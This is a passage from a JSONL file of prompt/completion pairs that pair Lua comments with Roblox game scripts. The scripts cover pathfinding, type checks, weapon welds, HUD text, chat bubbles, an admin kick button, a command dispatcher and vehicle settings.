then\n\t\t\t\t\t\tthis.Humanoid.FreeFalling:Wait()\n\n\t\t\t\t\t\t-- Give time to the humanoid's state to change\n\t\t\t\t\t\t-- Otherwise, the jump flag in Humanoid\n\t\t\t\t\t\t-- will be reset by the state change\n\t\t\t\t\t\twait(0.1)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Move to the next point\n\t\t\t\tif FFlagUserNavigationClickToMoveSkipPassedWaypoints then\n\t\t\t\t\tthis:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)\n\t\t\t\telse\n\t\t\t\t\tif this.setPointFunc then\n\t\t\t\t\t\tthis.setPointFunc(nextWaypointIdx)\n\t\t\t\t\tend\n\t\t\t\t\tif nextWaypoint.Action == Enum.PathWaypointAction.Jump then\n\t\t\t\t\t\tthis.Humanoid.Jump = true\n\t\t\t\t\tend\n\t\t\t\t\tthis.Humanoid:MoveTo(nextWaypoint.Position)\n\n\t\t\t\t\tthis.CurrentPoint = nextWaypointIdx\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tthis:Cleanup()\n\t\tend\n\tend\n\n\tfunction this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)\n\t\t-- Build next destination plane\n\t\t-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))\n\t\t-- (plane location is at next waypoint)\n\t\tthis.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position\n\t\tthis.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)\n\t\tif this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then\n\t\t\tthis.CurrentWaypointPlaneNormal\t= this.CurrentWaypointPlaneNormal.Unit\n\t\t\tthis.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)\n\t\telse\n\t\t\t-- Next waypoint is the same as current waypoint so no plane\n\t\t\tthis.CurrentWaypointPlaneNormal\t= ZERO_VECTOR3\n\t\t\tthis.CurrentWaypointPlaneDistance = 0\n\t\tend\n\n\t\t-- Should we jump\n\t\tthis.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;\n\n\t\t-- Remember next waypoint position\n\t\tthis.CurrentWaypointPosition = nextWaypoint.Position\n\n\t\t-- Move to next point\n\t\tthis.CurrentPoint = nextWaypointIdx\n\n\t\t-- Finally reset Timeout\n\t\tthis.Timeout = 0\n\tend\n\n\tfunction this:Start(overrideShowPath)\n\t\tif not this.AgentCanFollowPath then\n\t\t\tthis.PathFailed:Fire()\n\t\t\treturn\n\t\tend\n\n\t\tif this.Started then return end\n\t\tthis.Started = true\n\n\t\tClickToMoveDisplay.CancelFailureAnimation()\n\n\t\tif ShowPath then\n\t\t\tif overrideShowPath == nil or overrideShowPath then\n\t\t\t\tthis.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)\n\t\t\tend\n\t\tend\n\n\t\tif #this.pointList > 0 then\n\t\t\t-- Determine the humanoid offset from the path's first point\n\t\t\t-- Offset of the first waypoint from the path's origin point\n\t\t\tthis.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)\n\n\t\t\t-- As well as its current position and velocity\n\t\t\tthis.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath\n\t\t\tthis.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity\n\n\t\t\t-- Connect to events\n\t\t\tthis.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)\n\t\t\tthis.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)\n\t\t\tthis.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal(\"CFrame\"):Connect(function() this:OnPathInterrupted() end)\n\n\t\t\t-- Actually start\n\t\t\tthis.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.\n\t\t\tthis:OnPointReached(true) -- Move to first point\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tif this.stopTraverseFunc then\n\t\t\t\tthis.stopTraverseFunc()\n\t\t\tend\n\t\tend\n\tend\n\n\t--We always raycast to the ground in the case that the user clicked a wall.\n\tlocal offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5\n\tlocal ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)\n\tlocal newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())\n\tif newHitPart then\n\t\tthis.TargetPoint = newHitPos\n\tend\n\tthis:ComputePath()\n\n\treturn this\nend\n"} +{"prompt": "--[[**\n\tasserts a given check\n\n\t@param check The function to wrap with an assert\n\n\t@returns A function that simply wraps the given check in an assert\n**--]]", "completion": "\nfunction t.strict(check)\n\treturn function(...)\n\t\tassert(check(...))\n\tend\nend\n\ndo\n\tlocal checkChildren = t.map(t.string, t.callback)\n\n\t--[[**\n\t\tTakes a table where keys are child names and values are functions to check the children against.\n\t\tPass an instance tree into the function.\n\t\tIf at least one child passes each check, the overall check passes.\n\n\t\tWarning! If you pass in a tree with more than one child of the same name, this function will always return false\n\n\t\t@param checkTable The table to check against\n\n\t\t@returns A function that checks an instance tree\n\t**--]]\n\tfunction t.children(checkTable)\n\t\tassert(checkChildren(checkTable))\n\n\t\treturn function(value)\n\t\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\t\tif not instanceSuccess then\n\t\t\t\treturn false, instanceErrMsg or \"\"\n\t\t\tend\n\n\t\t\tlocal childrenByName = {}\n\t\t\tfor _, child in pairs(value:GetChildren()) do\n\t\t\t\tlocal name = child.Name\n\t\t\t\tif checkTable[name] then\n\t\t\t\t\tif childrenByName[name] then\n\t\t\t\t\t\treturn false, string.format(\"Cannot process multiple children with the same name \\\"%s\\\"\", name)\n\t\t\t\t\tend\n\t\t\t\t\tchildrenByName[name] = child\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor name, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(childrenByName[name])\n\t\t\t\tif not success then\n\t\t\t\t\treturn false, string.format(\"[%s.%s] %s\", value:GetFullName(), name, errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\nreturn t\n"} +{"prompt": "--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------", "completion": "\nif guntype == 1 then\nlocal torso = model.Parent:FindFirstChild(\"Torso\")\nif torso ~= nil then\nif weldmode == 1 then--barrel pointing upper-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0)\nelseif weldmode == 2 then--barrel pointing upper-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0)\nelseif weldmode == 3 then--barrel pointing upside-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, -0.1+y, 0.2 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), -1.5)\nelseif weldmode == 4 then--barrel pointing upside-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1.1, 1)\nend\nend"} +{"prompt": "-- NEW V13.1.0 - PartCache tie-in. If you use the PartCache module to create cosmetic bullets, you can now directly tie that in.\n-- Ensure you're using the latest version of PartCache.", "completion": "\nlocal CosmeticPartProvider = PartCacheModule.new(CosmeticBullet, 100, CosmeticBulletsFolder)\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------", "completion": "\nwhile true do\n\tlocal Frame = MainFrame\n\tlocal Engine = Helicopter:FindFirstChild(\"Engine\")\n\twait()\n\tFrame.ALT.Text = ' ALTITUDE: ' .. math.floor(Helicopter.Engine.Position.Y -5)\n\tFrame.SPD.Text = \" SPEED: \".. math.floor(Engine.Velocity.Magnitude)..\" SPS\"\n\tFrame.TASPEED.Text = \"V SPEED: \".. math.floor(Engine.Velocity.Y)..\" SPS\"\n\tFrame.ZZ.Text = \"THROTTLE: \"..Helicopter.Pilot.Throttle.Value..\" %\"\nend\n"} +{"prompt": "-- Wait for tool to load completely", "completion": "\nlocal TotalDescendants = (Indicator:WaitForChild 'DescendantCount').Value;\nwhile not (#Tool:GetDescendants() >= TotalDescendants) do\n\twait(0.1);\nend;\n"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n\t\n\tSprintSpeed = 21;\n"} +{"prompt": "-- Don't edit below unless you know what you're doing.", "completion": "\n\nlocal O = true\nfunction onClicked() \nif O == true then\n\tO = false\n\tOne()\n\nelseif O == false then\n\tO = true\n Two()\nend\nend\n\nscript.Parent.MouseButton1Down:connect(onClicked)\n\n\n\n"} +{"prompt": "--[[ FUNCTIONS ]]", "completion": "\n\nlocal function lerpLength(msg, min, max)\n\treturn min + (max - min) * math.min(getMessageLength(msg) / 75.0, 1.0)\nend\n\nlocal function createFifo()\n\tlocal this = {}\n\tthis.data = {}\n\n\tlocal emptyEvent = Instance.new(\"BindableEvent\")\n\tthis.Emptied = emptyEvent.Event\n\n\tfunction this:Size()\n\t\treturn #this.data\n\tend\n\n\tfunction this:Empty()\n\t\treturn this:Size() <= 0\n\tend\n\n\tfunction this:PopFront()\n\t\ttable.remove(this.data, 1)\n\t\tif this:Empty() then emptyEvent:Fire() end\n\tend\n\n\tfunction this:Front()\n\t\treturn this.data[1]\n\tend\n\n\tfunction this:Get(index)\n\t\treturn this.data[index]\n\tend\n\n\tfunction this:PushBack(value)\n\t\ttable.insert(this.data, value)\n\tend\n\n\tfunction this:GetData()\n\t\treturn this.data\n\tend\n\n\treturn this\nend\n\nlocal function createCharacterChats()\n\tlocal this = {}\n\n\tthis.Fifo = createFifo()\n\tthis.BillboardGui = nil\n\n\treturn this\nend\n\nlocal function createMap()\n\tlocal this = {}\n\tthis.data = {}\n\tlocal count = 0\n\n\tfunction this:Size()\n\t\treturn count\n\tend\n\n\tfunction this:Erase(key)\n\t\tif this.data[key] then count = count - 1 end\n\t\tthis.data[key] = nil\n\tend\n\n\tfunction this:Set(key, value)\n\t\tthis.data[key] = value\n\t\tif value then count = count + 1 end\n\tend\n\n\tfunction this:Get(key)\n\t\tif not key then return end\n\t\tif not this.data[key] then\n\t\t\tthis.data[key] = createCharacterChats()\n\t\t\tlocal emptiedCon = nil\n\t\t\temptiedCon = this.data[key].Fifo.Emptied:connect(function()\n\t\t\t\temptiedCon:disconnect()\n\t\t\t\tthis:Erase(key)\n\t\t\tend)\n\t\tend\n\t\treturn this.data[key]\n\tend\n\n\tfunction this:GetData()\n\t\treturn this.data\n\tend\n\n\treturn this\nend\n\nlocal function createChatLine(message, bubbleColor, isLocalPlayer)\n\tlocal this = {}\n\n\tfunction this:ComputeBubbleLifetime(msg, isSelf)\n\t\tif isSelf then\n\t\t\treturn lerpLength(msg, 8, 15)\n\t\telse\n\t\t\treturn lerpLength(msg, 12, 20)\n\t\tend\n\tend\n\n\tthis.Origin = nil\n\tthis.RenderBubble = nil\n\tthis.Message = message\n\tthis.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer)\n\tthis.BubbleColor = bubbleColor\n\tthis.IsLocalPlayer = isLocalPlayer\n\n\treturn this\nend\n\nlocal function createPlayerChatLine(player, message, isLocalPlayer)\n\tlocal this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer)\n\n\tif player then\n\t\tthis.User = player.Name\n\t\tthis.Origin = player.Character\n\tend\n\n\treturn this\nend\n\nlocal function createGameChatLine(origin, message, isLocalPlayer, bubbleColor)\n\tlocal this = createChatLine(message, bubbleColor, isLocalPlayer)\n\tthis.Origin = origin\n\n\treturn this\nend\n\nfunction createChatBubbleMain(filePrefix, sliceRect)\n\tlocal chatBubbleMain = Instance.new(\"ImageLabel\")\n\tchatBubbleMain.Name = \"ChatBubble\"\n\tchatBubbleMain.ScaleType = Enum.ScaleType.Slice\n\tchatBubbleMain.SliceCenter = sliceRect\n\tchatBubbleMain.Image = \"rbxasset://textures/\" .. tostring(filePrefix) .. \".png\"\n\tchatBubbleMain.BackgroundTransparency = 1\n\tchatBubbleMain.BorderSizePixel = 0\n\tchatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0)\n\tchatBubbleMain.Position = UDim2.new(0, 0, 0, 0)\n\n\treturn chatBubbleMain\nend\n\nfunction createChatBubbleTail(position, size)\n\tlocal chatBubbleTail = Instance.new(\"ImageLabel\")\n\tchatBubbleTail.Name = \"ChatBubbleTail\"\n\tchatBubbleTail.Image = \"rbxasset://textures/ui/dialog_tail.png\"\n\tchatBubbleTail.BackgroundTransparency = 1\n\tchatBubbleTail.BorderSizePixel = 0\n\tchatBubbleTail.Position = position\n\tchatBubbleTail.Size = size\n\n\treturn chatBubbleTail\nend\n\nfunction createChatBubbleWithTail(filePrefix, position, size, sliceRect)\n\tlocal chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)\n\n\tlocal chatBubbleTail = createChatBubbleTail(position, size)\n\tchatBubbleTail.Parent = chatBubbleMain\n\n\treturn chatBubbleMain\nend\n\nfunction createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect)\n\tlocal chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)\n\n\tlocal frame = Instance.new(\"Frame\")\n\tframe.Name = \"ChatBubbleTailFrame\"\n\tframe.BackgroundTransparency = 1\n\tframe.SizeConstraint = Enum.SizeConstraint.RelativeXX\n\tframe.Position = UDim2.new(0.5, 0, 1, 0)\n\tframe.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0)\n\tframe.Parent = chatBubbleMain\n\n\tlocal chatBubbleTail = createChatBubbleTail(position, UDim2.new(1, 0, 0.5, 0))\n\tchatBubbleTail.Parent = frame\n\n\treturn chatBubbleMain\nend\n\nfunction createChatImposter(filePrefix, dotDotDot, yOffset)\n\tlocal result = Instance.new(\"ImageLabel\")\n\tresult.Name = \"DialogPlaceholder\"\n\tresult.Image = \"rbxasset://textures/\" .. tostring(filePrefix) .. \".png\"\n\tresult.BackgroundTransparency = 1\n\tresult.BorderSizePixel = 0\n\tresult.Position = UDim2.new(0, 0, -1.25, 0)\n\tresult.Size = UDim2.new(1, 0, 1, 0)\n\n\tlocal image = Instance.new(\"ImageLabel\")\n\timage.Name = \"DotDotDot\"\n\timage.Image = \"rbxasset://textures/\" .. tostring(dotDotDot) .. \".png\"\n\timage.BackgroundTransparency = 1\n\timage.BorderSizePixel = 0\n\timage.Position = UDim2.new(0.001, 0, yOffset, 0)\n\timage.Size = UDim2.new(1, 0, 0.7, 0)\n\timage.Parent = result\n\n\treturn result\nend\n\n\nlocal this = {}\nthis.ChatBubble = {}\nthis.ChatBubbleWithTail = {}\nthis.ScalingChatBubbleWithTail = {}\nthis.CharacterSortedMsg = createMap()\n"} +{"prompt": "--Created by Drakerose", "completion": "\nlocal safeZone = require(game:GetService(\"ServerScriptService\").Zones.ZonesBase.SafeZone)\nlocal newZone = safeZone.new(script.Parent, \"Box\")\n"} +{"prompt": "--don't touch anything here.--", "completion": "\nlocal button = script.Parent\n\nbutton.MouseButton1Click:connect(function()\n\tif game.Players:FindFirstChild(script.Parent.Parent.Username.Text) then\n\t\tgame.ReplicatedStorage.KickPlayer:FireServer(script.Parent.Parent.Username.Text, script.Parent.Parent.Reason.Text)\n\tend\nend)\n"} +{"prompt": "-- # CODE BELOW # --\n-- ^ Do not change anything else", "completion": "\n\nlocal GoreFolder = game.ReplicatedStorage[\"Gore by Leveled Development\"];\nlocal Core = require(GoreFolder.Modules.Core);\n\nfunction Asset(Player)\n\tlocal Character = Player.Character;\n\tlocal Gibs = script.Gibs;\n\tlocal GibParts = {\n\t\t[\"Head\"] = {Gibs[\"Head\"]:Clone(), Character[\"Head\"]},\n\t\t[\"LeftArm\"] = {Gibs[\"LeftArm\"]:Clone(), Character[\"Left Arm\"]},\n\t\t[\"RightArm\"] = {Gibs[\"RightArm\"]:Clone(), Character[\"Right Arm\"]},\n\t\t[\"LeftLeg\"] = {Gibs[\"LeftLeg\"]:Clone(), Character[\"Left Leg\"]},\n\t\t[\"RightLeg\"] = {Gibs[\"RightLeg\"]:Clone(), Character[\"Right Leg\"]}\n\t};\n\t\n\tfor Int, Parts in pairs(GibParts) do\n\t\tParts[1].Parent = Parts[2];\n\t\tParts[1].CFrame = Parts[2].CFrame;\n\t\tCore.WeldTo(Parts[2], Parts[1]);\n\tend;\n\t\n\tif not Character:FindFirstChild(\"Humanoid\") then\n\t\trepeat wait() until Character:FindFirstChild(\"Humanoid\");\n\tend;\n\tif not Character:FindFirstChild(\"Humanoid\"):FindFirstChild(\"HumanoidDescription\") then\n\t\trepeat wait() until Character:FindFirstChild(\"Humanoid\"):FindFirstChild(\"HumanoidDescription\");\n\tend;\n\t\n\tGibParts[\"Head\"][1][\"Main\"].Color = Character.Humanoid.HumanoidDescription.HeadColor;\n\tGibParts[\"LeftArm\"][1][\"Main\"].Color = Character.Humanoid.HumanoidDescription.LeftArmColor;\n\tGibParts[\"RightArm\"][1][\"Main\"].Color = Character.Humanoid.HumanoidDescription.RightArmColor;\n\tGibParts[\"LeftLeg\"][1][\"Main\"].Color = Character.Humanoid.HumanoidDescription.LeftLegColor;\n\tGibParts[\"RightLeg\"][1][\"Main\"].Color = Character.Humanoid.HumanoidDescription.RightLegColor;\nend;\n\ngame.Players.PlayerAdded:Connect(function(Player)\n\tif not Player.Character then\n\t\tPlayer.CharacterAdded:Wait();\n\tend;\n\tAsset(Player);\n\twhile wait() do\n\t\tif Player.Character:FindFirstChild(\"Head\") then\n\t\t\tif not Player.Character.Head:FindFirstChild(\"Head\") then\n\t\t\t\tAsset(Player);\n\t\t\tend;\n\t\tend;\n\tend;\nend);\n"} +{"prompt": "--Set up input changed class for controllers.", "completion": "\nlocal ControllerDown = false\ntable.insert(EventsToDisconnect,UserInputService.InputChanged:Connect(function(Input,Processed)\n\tif Processed then return end\n\tlocal Character = Player.Character\n\tif not Character then return end\n\tlocal Humanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tif not Humanoid or Humanoid.Health <= 0 then return end\n\t\n\t--Disconnect the event if the tool is unparented.\n\tDisconnectEvents()\n\t\n\t--Handle input if it is the right trigger.\n\tif (Input.UserInputType == Enum.UserInputType.Gamepad1 or Input.UserInputType == Enum.UserInputType.Gamepad2) and Input.KeyCode == Enum.KeyCode.ButtonR2 then\n\t\tlocal ShouldBeDown = (Input.Position.Z > 0.8)\n\t\t\n\t\tif ShouldBeDown and not ControllerDown then\n\t\t\t--If it is 80% down and it was up, set it down.\n\t\t\tControllerDown = true\n\t\t\t\n\t\t\tif VRService.VREnabled then\n\t\t\t\t--The camera's CFrame is used with VR.\n\t\t\t\t--For a VR version, a more robust implemention should be done.\n\t\t\t\tlocal CameraCF = Camera.CFrame\n\t\t\t\tlocal Position = CastRay(CameraCF.p,CameraCF.lookVector,1000)\n\t\t\t\tLongInputBeganEvent:Fire(Position)\n\t\t\t\tInputBeganEvent:Fire(Position)\n\t\t\telse\n\t\t\t\t--The center mouse is used with controllers.\n\t\t\t\tlocal Position = Get3DPosition(Mouse.X,Mouse.Y)\n\t\t\t\tLongInputBeganEvent:Fire(Position)\n\t\t\t\tInputBeganEvent:Fire(Position)\n\t\t\tend\n\t\telseif not ShouldBeDown and ControllerDown then\n\t\t\t--If it is not 80% down and it was down, set it to up.\n\t\t\tControllerDown = false\n\t\t\t\n\t\t\tif VRService.VREnabled then\n\t\t\t\t--The camera's CFrame is used with VR.\n\t\t\t\t--For a VR version, a more robust implemention should be done.\n\t\t\t\tlocal CameraCF = Camera.CFrame\n\t\t\t\tInputEndedEvent:Fire(CastRay(CameraCF.p,CameraCF.lookVector,1000))\n\t\t\telse\n\t\t\t\t--The center mouse is used with controllers.\n\t\t\t\tInputEndedEvent:Fire(Get3DPosition(Mouse.X,Mouse.Y))\n\t\t\tend\n\t\tend\n\tend\nend))\n"} +{"prompt": "--- Invoke a command programmatically as the local user e.g. from a settings menu\n-- Command should be the first argument, all arguments afterwards should be the arguments to the command.", "completion": "\nfunction Dispatcher:Run (...)\n\tif not Players.LocalPlayer then\n\t\terror(\"Dispatcher:Run can only be called from the client.\")\n\tend\n\n\tlocal args = {...}\n\tlocal text = args[1]\n\n\tfor i = 2, #args do\n\t\ttext = text .. \" \" .. tostring(args[i])\n\tend\n\n\tlocal command, errorText = self:Evaluate(text, Players.LocalPlayer)\n\n\tif not command then\n\t\terror(errorText) -- We do a full-on error here since this is code-invoked and they should know better.\n\tend\n\n\tlocal success, errorText = command:Validate(true) -- luacheck: ignore\n\n\tif not success then\n\t\terror(errorText)\n\tend\n\n\treturn command:Run()\nend\n"} +{"prompt": "---Exit function in progress", "completion": "\nlocal function ExitSeat()\n\tif Character.Humanoid.Sit == true then\n\t\tfor i,v in pairs(Character.HumanoidRootPart:GetJoints()) do\n\t\t\t--print(v)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n Creates an explosion at part's position, with specified radius. Destroys any tagged tiles within range\n]]", "completion": "\nlocal CollectionService = game:GetService(\"CollectionService\")\nlocal Debris = game:GetService(\"Debris\")\n\nreturn function(part, radius, tagName)\n\tif not part or not part.Parent then\n\t\treturn\n\tend\n\n\tlocal position = part.Position\n\n\tlocal sound = part:FindFirstChild(\"Explode\")\n\n\tif sound then\n\t\tsound.PlayOnRemove = true\n\tend\n\n\tlocal explosion = Instance.new(\"Explosion\")\n\texplosion.Position = position\n\texplosion.BlastPressure = 0\n\texplosion.BlastRadius = radius\n\texplosion.Parent = part\n\n\tDebris:AddItem(part, 0.25)\n\n\tfor _, tile in pairs(CollectionService:GetTagged(tagName)) do\n\t\tif tile and tile:IsDescendantOf(workspace) then\n\t\t\tlocal distance = (tile.Position - position).magnitude\n\t\t\tif distance <= radius then\n\t\t\t\ttile.Transparency = 0.5\n\t\t\t\ttile.Anchored = false\n\t\t\t\tDebris:AddItem(tile, 3)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[=[\n\t@param signal RBXScriptSignal\n\t@param fn (...: any) -> ()\n\t@return RBXScriptConnection\n\tConnects the function to the signal, adds the connection\n\tto the trove, and then returns the connection.\n\n\tThis is shorthand for `trove:Add(signal:Connect(fn))`.\n\n\t```lua\n\ttrove:Connect(workspace.ChildAdded, function(instance)\n\t\tprint(instance.Name .. \" added to workspace\")\n\tend)\n\t```\n]=]", "completion": "\nfunction Trove:Connect(signal, fn)\n\tif self._cleaning then\n\t\terror(\"Cannot call trove:Connect() while cleaning\", 2)\n\tend\n\treturn self:Add(signal:Connect(fn))\nend\n"} +{"prompt": "-- Create component", "completion": "\nlocal Component = Cheer.CreateComponent('BTNotificationsManager', View);\n\nfunction Component.Start(Core)\n\n\t-- Display update notification if tool is outdated\n\tif Core.IsVersionOutdated() then\n\t\tif Core.Mode == 'Plugin' then\n\t\t\tCheer(View.PluginUpdateNotification).Start(Component.AdjustLayout);\n\t\telseif Core.Mode == 'Tool' then\n\t\t\tCheer(View.ToolUpdateNotification).Start(Component.AdjustLayout);\n\t\tend;\n\tend;\n\n\t-- Display HttpEnabled warning if HttpService is disabled\n\tif not Core.SyncAPI:Invoke('IsHttpServiceEnabled') then\n\t\tCheer(View.HttpDisabledWarning).Start(Component.AdjustLayout);\n\tend;\n\n\t-- Adjust layout\n\tView.UIListLayout:ApplyLayout();\n\n\t-- Animate opening\n\tView.Position = UDim2.new(0.5, 0, 1.5, 0);\n\tView.Visible = true;\n\tView:TweenPosition(UDim2.new(0.5, 0, 0.5, 0), nil, nil, 0.2);\n\n\t-- Destroy notifications container on tool unequip\n\tSpawn(function ()\n\t\tCore.Disabling:wait();\n\t\tView:Destroy();\n\tend);\n\n\t-- Return component for chaining\n\treturn Component;\n\nend;\n\nfunction Component.AdjustLayout()\n\tView.UIListLayout:ApplyLayout();\nend;\n\nreturn Component;\n"} +{"prompt": "--[[**\n\tensures value is NaN\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.nan(value)\n\tif value ~= value then\n\t\treturn true\n\telse\n\t\treturn false, \"unexpected non-NaN value\"\n\tend\nend\n"} +{"prompt": "--- A helper that evaluates and runs the command in one go.\n-- Either returns any validation errors as a string, or the output of the command as a string. Definitely a string, though.", "completion": "\nfunction Dispatcher:EvaluateAndRun (text, executor, options)\n\texecutor = executor or Players.LocalPlayer\n\toptions = options or {}\n\n\tif RunService:IsClient() and options.IsHuman then\n\t\tself:PushHistory(text)\n\tend\n\n\tlocal command, errorText = self:Evaluate(text, executor, nil, options.Data)\n\n\tif not command then\n\t\treturn errorText\n\tend\n\n\tlocal ok, out = xpcall(function()\n\t\tlocal valid, errorText = command:Validate(true) -- luacheck: ignore\n\n\t\tif not valid then\n\t\t\treturn errorText\n\t\tend\n\n\t\treturn command:Run() or \"Command executed.\"\n\tend, function(value)\n\t\treturn debug.traceback(tostring(value))\n\tend)\n\n\tif not ok then\n\t\twarn((\"Error occurred while evaluating command string %q\\n%s\"):format(text, tostring(out)))\n\tend\n\n\treturn ok and out or \"An error occurred while running this command. Check the console for more information.\"\nend\n"} +{"prompt": "--(\"IsASeatWeld\")", "completion": "\nif w.Part1.Parent:findFirstChild(\"Humanoid\")~=nil then"} +{"prompt": "--local tweenmenu = TweenService:Create(\n-- script.Parent.Parent.Frame,\n-- TweenInfo.new(0.3),\n-- {\n-- Rotation = 0;\n-- Size = UDim2.new(0.5, 50,0.506, 50)\n-- }\n--)\n--\n--local tweenmenuclose = TweenService:Create(\n-- script.Parent.Parent.Frame,\n-- TweenInfo.new(0.3),\n-- {\n-- Rotation = 0;\n-- Size = UDim2.new(0, 0,0, 0)\n-- }\n--)", "completion": "\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 3000; -- Bullet Speed\n\tBulletSpread = 0; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= 1.0\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= false\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\tTune.AutoUpdate\t\t= true\t\t-- Automatically applies minor updates to the chassis if any are found.\n\t\t\t\t\t\t\t\t\t-- Will NOT apply major updates, but will notify you of any.\n\t\t\t\t\t\t\t\t\t-- Set to false to mute notifications, or if using modified Drive."} +{"prompt": "--[[\n Returns the ServerPlayerComponents of players that are still in state 'game'\n]]", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nlocal Players = game:GetService(\"Players\")\n\nlocal PlayerManager = require(ServerStorage.Source.Managers.PlayerManager)\n\nreturn function(returnComponents)\n\tlocal players = {}\n\tfor _, playerComponent in pairs(PlayerManager.getAllPlayers()) do\n\t\tif playerComponent.player and playerComponent:getStatus(\"currentState\") == \"game\" then\n\t\t\tif playerComponent.player:IsDescendantOf(Players) then\n\t\t\t\ttable.insert(players, returnComponents and playerComponent or playerComponent.player)\n\t\t\tend\n\t\tend\n\tend\n\treturn players\nend\n"} +{"prompt": "--[[ Initialization ]]", "completion": "--\n -- TODO: Remove when safe! ContextActionService crashes touch clients with tupele is 2 or more\nif not UserInputService.TouchEnabled then\n\tinitialize()\n\tif isShiftLockMode() then\n\t\tInputCn = UserInputService.InputBegan:connect(onShiftInputBegan)\n\t\tIsActionBound = true\n\tend\nend\n\nreturn ShiftLockController\n"} +{"prompt": "--", "completion": "\n\t-- Selection and deselection\n\nbin.Selected:connect(function()\n\t\n\tselected = true\n\t\nend)\n\nbin.Deselected:connect(function()\n\t\n\tselected = false\n\t\nend)\n\n\t-- End selection and deselection\n\nmouse.Button1Down:connect(function()\n\t\n\tif not deb and selected then\n\t\t\n\t\tdeb = true\n\t\t\n\t\tinRemote:FireServer(\"Mouse1\")\n\t\t\n\t\twait(.1)\n\t\t\n\t\tdeb = false\n\t\t\n\tend\n\t\nend)\n"} +{"prompt": "-- This finds the tank that we are controlling", "completion": "\nparts = script.Parent.Parent.Parent.Turret.Value;\ntankStats = parts.Stats;\n"} +{"prompt": "--[[\nClasses.TextMask\n\nThis class creates a text mask object which can be 